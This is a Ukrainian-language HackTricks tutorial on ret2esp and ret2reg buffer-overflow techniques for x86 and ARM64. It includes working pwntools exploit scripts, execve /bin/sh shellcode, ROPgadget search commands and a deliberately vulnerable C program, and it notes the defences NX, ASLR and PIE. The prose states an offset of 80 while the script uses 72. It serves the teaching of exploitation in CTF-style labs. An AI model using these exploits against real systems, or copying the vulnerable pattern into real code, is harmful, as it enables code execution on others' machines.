Ret2esp / Ret2reg

Підтримайте HackTricks

Ret2esp

Оскільки ESP (вказівник стеку) завжди вказує на верх стеку, ця техніка полягає в заміні EIP (вказівника інструкції) адресою інструкції jmp esp або call esp. Зробивши це, shellcode розміщується безпосередньо після переписаного EIP. Коли виконується інструкція ret, ESP вказує на наступну адресу, точно там, де зберігається shellcode.

Якщо в Windows або Linux не ввімкнено випадкове розташування адрес (ASLR), можна використовувати інструкції jmp esp або call esp, знайдені в спільних бібліотеках. Однак з ASLR активованим, можливо доведеться шукати ці інструкції всередині вразливої програми саме (і можливо, вам доведеться перемогти PIE).

Більше того, можливість розмістити shellcode після корупції EIP, а не посередині стеку, забезпечує, що будь-які виконані інструкції push або pop під час роботи функції не втручаються у shellcode. Це втручання може статися, якщо shellcode було розміщено посередині стеку функції.

Недостатньо місця

Якщо вам не вистачає місця для запису після переписування RIP (можливо, лише кілька байтів), напишіть початковий jmp shellcode, наприклад:

sub rsp, 0x30
jmp rsp

І запишіть shellcode рано в стек.

Приклад

Ви можете знайти приклад цієї техніки за посиланням https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp з кінцевим експлойтом наступного вигляду:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Можна побачити ще один приклад цієї техніки за посиланням https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Тут відбувається переповнення буфера без увімкненого NX, використовується гаджет для зменшення адреси $esp і потім jmp esp; для переходу до shellcode:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Так само, якщо ми знаємо, що функція повертає адресу, де зберігається код оболонки, ми можемо скористатися інструкціями call eax або jmp eax (відомими як техніка ret2eax), що пропонує ще один метод виконання нашого коду оболонки. Так само, як eax, можна використовувати будь-який інший регістр, що містить цікаву адресу (ret2reg).

Приклад

Ви можете знайти деякі приклади тут:

ARM64

Ret2sp

У ARM64 немає інструкцій, що дозволяють перейти до реєстру SP. Можливо, знайти гаджет, який переміщує sp до реєстру, а потім переходить до цього реєстру, але в бібліотеці libc мого kali я не зміг знайти жодного гаджета подібного до цього:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Єдині, які я виявив, змінили б значення реєстру, куди було скопійовано sp перед стрибком до нього (тому воно стало б некорисним):

Ret2reg

Якщо реєстр має цікаву адресу, можна стрибнути до неї, просто знаходячи відповідну інструкцію. Ви можете використовувати щось на зразок:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

У ARM64 це x0, хто зберігає значення повернення функції, тому можливо, що x0 зберігає адресу буфера, котрий контролюється користувачем з шелл-кодом для виконання.

Приклад коду:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Перевіривши розібрання функції, можна побачити, що адреса буфера (вразлива на переповнення буфера та керована користувачем) зберігається в x0 перед поверненням з переповнення буфера:

Також можна знайти гаджет br x0 у функції do_stuff:

Ми використаємо цей гаджет для переходу до нього, оскільки бінарний файл компілюється БЕЗ PIE. Використовуючи шаблон, можна побачити, що зсув переповнення буфера становить 80, тому експлойт буде:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Якщо замість fgets було використано щось на зразок read, було б можливо обійти PIE також, просто перезаписавши останні 2 байти адреси повернення, щоб повернутися до інструкції br x0; без необхідності знати повну адресу. З fgets це не працює, оскільки воно додає нульовий (0x00) байт в кінці.

Захисти

  • NX: Якщо стек не є виконавчим, це не допоможе, оскільки нам потрібно розмістити шеллкод на стеці та зробити стрибок для його виконання.

  • ASLR & PIE: Ці заходи можуть ускладнити пошук інструкції для стрибка на esp або будь-який інший регістр.

Посилання

Підтримайте HackTricks

Last updated